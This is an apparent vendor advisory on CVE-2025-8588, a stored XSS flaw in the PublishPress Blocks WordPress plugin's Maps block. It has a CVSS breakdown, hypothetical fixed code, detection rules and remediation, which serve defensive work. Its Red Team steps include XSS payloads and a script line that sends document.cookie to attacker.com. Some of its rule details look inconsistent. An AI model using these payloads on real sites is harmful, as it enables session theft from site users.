CVE-2025-8588
Executive Summary
CVE-2025-8588 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the PublishPress Blocks WordPress plugin (formerly Gutenberg Blocks – PublishPress Blocks). The flaw resides in the Maps block, specifically within the 'Marker Title' and 'Marker Description' parameters. Due to insufficient input sanitization and output escaping, authenticated attackers with at least Contributor-level access can inject arbitrary web scripts. These scripts execute whenever a victim user accesses the compromised page, leading to potential session hijacking, defacement, or data theft.
This vulnerability affects all versions up to and including 3.3.4. As of this report, no official patch has been released, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant for sites with untrusted contributors.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is also available on GitHub. Users should monitor the plugin’s repository for security updates and consider disabling the Maps block if contributor access is granted.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None (automatic execution on page load)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability for any authenticated contributor to inject persistent scripts makes this a serious concern for multi-author WordPress sites.
Deep Dive & Mechanics
The vulnerability is triggered through the Maps block provided by the PublishPress Blocks plugin. When a user creates or edits a Maps block, they can add markers with custom titles and descriptions. These inputs are stored in the WordPress database without proper sanitization or output escaping.
The vulnerable code likely processes the marker_title and marker_description parameters and directly inserts them into the page’s HTML via JavaScript or PHP rendering. Because the plugin does not use esc_html() or wp_kses() on these fields, an attacker can inject malicious JavaScript payloads.
Attack Flow:
- An authenticated user with Contributor role (or higher) creates a new post/page.
- The user adds a Maps block and inserts a marker.
- In the 'Marker Title' or 'Marker Description' field, the attacker inputs a payload such as
<script>alert('XSS')</script>. - The payload is stored in the database.
- When any user (including admins) views the page, the script executes in their browser context.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.
Vulnerable Code (PHP/JS):
// Vulnerable: Direct output without escaping
echo '<div class="marker-title">' . $marker_title . '</div>';
echo '<div class="marker-desc">' . $marker_description . '</div>';
Patched Code (Hypothetical):
// Patched: Proper escaping
echo '<div class="marker-title">' . esc_html( $marker_title ) . '</div>';
echo '<div class="marker-desc">' . esc_html( $marker_description ) . '</div>';
Additionally, the plugin should validate input using wp_kses() to allow only safe HTML tags.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with PublishPress Blocks plugin <= 3.3.4
- Authenticated user with Contributor role or higher
Steps:
- Log in as a Contributor.
- Create a new post.
- Add a Maps block.
- In the marker settings, set the 'Marker Title' to:
<img src=x onerror=alert('XSS')> - Set the 'Marker Description' to:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the post.
- When an admin or visitor views the post, the script executes.
Note: No public exploit code exists; this is a theoretical demonstration.
Blue Team (Detection & Prevention)
Detection:
- Monitor for unusual content in
wp_posts.post_contentcontaining<script>tags or event handlers. - Use WAF rules to block common XSS payloads in POST requests to
wp-admin/post.php.
Prevention:
- Disable the Maps block for non-admin users via role management plugins.
- Apply a virtual patch using a WAF (e.g., Wordfence, Cloudflare) to block malicious input.
- Restrict Contributor roles from using blocks that allow raw HTML.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/publishpress-blocks/(version <= 3.3.4) - Database: Rows in
wp_postswherepost_contentcontains<script>oronerrorattributes within Maps block data. - Network: Outbound requests to unknown domains from the WordPress admin interface (potential data exfiltration).
- Logs: HTTP POST requests to
/wp-admin/post.phpwith payloads containing<script>or event handlers.
Detection Engineering
YARA Rule
rule CVE_2025_8588_XSS_MapsBlock {
meta:
description = "Detects stored XSS payloads in PublishPress Blocks Maps block"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-8588"
strings:
$payload1 = /marker_title[^>]*<script/
$payload2 = /marker_description[^>]*<script/
$payload3 = /onerror\s*=\s*["']/
condition:
any of them
}
Sigma Rule
title: CVE-2025-8588 Stored XSS in PublishPress Blocks Maps Block
id: 8a3f2c1e-5d7b-4a9f-8c6e-1b2d3e4f5a6b
status: experimental
description: Detects attempts to exploit stored XSS via Maps block marker fields
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/post.php'
http.body|contains:
- 'marker_title'
- 'marker_description'
http.body|re:
- '<script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of JavaScript in block content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8588 Stored XSS Attempt - PublishPress Blocks"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"marker_title"; http_client_body; pcre:"/<script|onerror|onload>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Maps block for all non-admin users via a plugin like "User Role Editor" or by modifying the block registration.
- Apply a WAF rule to block POST requests containing
<script>or event handlers inmarker_titleormarker_descriptionfields. - Audit existing content for malicious scripts in Maps blocks using the YARA rule above.
Long-Term Fix:
- Monitor the PublishPress Blocks plugin page for a security update.
- Once patched, update to version > 3.3.4.
- Consider replacing the plugin with an alternative that has better security practices.
Valters IT Signature:
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Analyst